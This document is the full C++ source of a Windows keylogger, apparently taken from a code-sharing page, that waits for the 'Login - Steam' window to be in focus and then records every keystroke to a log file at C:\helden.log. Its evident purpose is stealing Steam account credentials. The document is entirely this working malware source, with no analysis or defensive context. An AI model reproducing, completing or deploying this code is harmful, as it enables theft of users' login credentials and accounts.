| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. | #include <windows.h>
#include <stdio.h>
#include <fstream>
#include <iostream>
using namespace std;
short character;
bool running = true;
BOOL GetSteam();
char filename[256] = "C:\\helden.log";
bool bFirst = false;
int main(void)
{
GetSteam();
return 0;
}
BOOL GetSteam() {
start:
while(GetForegroundWindow() != FindWindow(NULL, "Login - Steam"))
{
if(!bFirst) {
cout<<"\nwait for \"steam - login\" window\n";
bFirst = true;
}
Sleep(20);
}
cout<<"\nsteam window found\n";
printf("logging to %s started", filename);
while(running)
{
if(GetForegroundWindow() != FindWindow(NULL, "Login - Steam"))
{
if(bFirst) {
cout<<"\ngoto start and wait for the window\n";
bFirst = false;
}
goto start;
}
for(character=8;character<=222;character++) /* found this function somewhere credit??*/
{
if(GetAsyncKeyState(character)==-32767)
{
ofstream stuff;
stuff.open(filename, ofstream::out | ofstream::app);
switch(character)
{
case VK_SPACE:
stuff << "[space]";
break;
case VK_NUMPAD0:
stuff << "0";
break;
case VK_NUMPAD1:
stuff << "1";
break;
case VK_NUMPAD2:
stuff << "2";
break;
case VK_NUMPAD3:
stuff << "3";
break;
case VK_NUMPAD4:
stuff << "4";
break;
case VK_NUMPAD5:
stuff << "5";
break;
case VK_NUMPAD6:
stuff << "6";
break;
case VK_NUMPAD7:
stuff << "7";
break;
case VK_NUMPAD8:
stuff << "8";
break;
case VK_NUMPAD9:
stuff << "9";
break;
case VK_F1:
stuff << "F1";
break;
case VK_F2:
stuff << "F2";
break;
case VK_F3:
stuff << "F3";
break;
case VK_F4:
stuff << "F4";
break;
case VK_F5:
stuff << "F5";
break;
case VK_F6:
stuff << "F6";
break;
case VK_F7:
stuff << "F7";
break;
case VK_F8:
stuff << "F8";
break;
case VK_F9:
stuff << "F9";
break;
case VK_F10:
stuff << "F10";
break;
case VK_F11:
stuff << "F11";
break;
case VK_F12:
stuff << "F12";
break;
case 65:
stuff << "a";
break;
case 66:
stuff << "b";
break;
case 67:
stuff << "c";
break;
case 68:
stuff << "d";
break;
case 69:
stuff << "e";
break;
case 70:
stuff << "f";
break;
case 71:
stuff << "g";
break;
case 72:
stuff << "h";
break;
case 73:
stuff << "i";
break;
case 74:
stuff << "j";
break;
case 75:
stuff << "k";
break;
case 76:
stuff << "l";
break;
case 77:
stuff << "m";
break;
case 78:
stuff << "n";
break;
case 79:
stuff << "o";
break;
case 80:
stuff << "p";
break;
case 81:
stuff << "q";
break;
case 82:
stuff << "r";
break;
case 83:
stuff << "s";
break;
case 84:
stuff << "t";
break;
case 85:
stuff << "u";
break;
case 86:
stuff << "v";
break;
case 87:
stuff << "w";
break;
case 88:
stuff << "x";
break;
case 89:
stuff << "y";
break;
case 90:
stuff << "z";
break;
}
}
}
Sleep(20);
}
return 1;
} |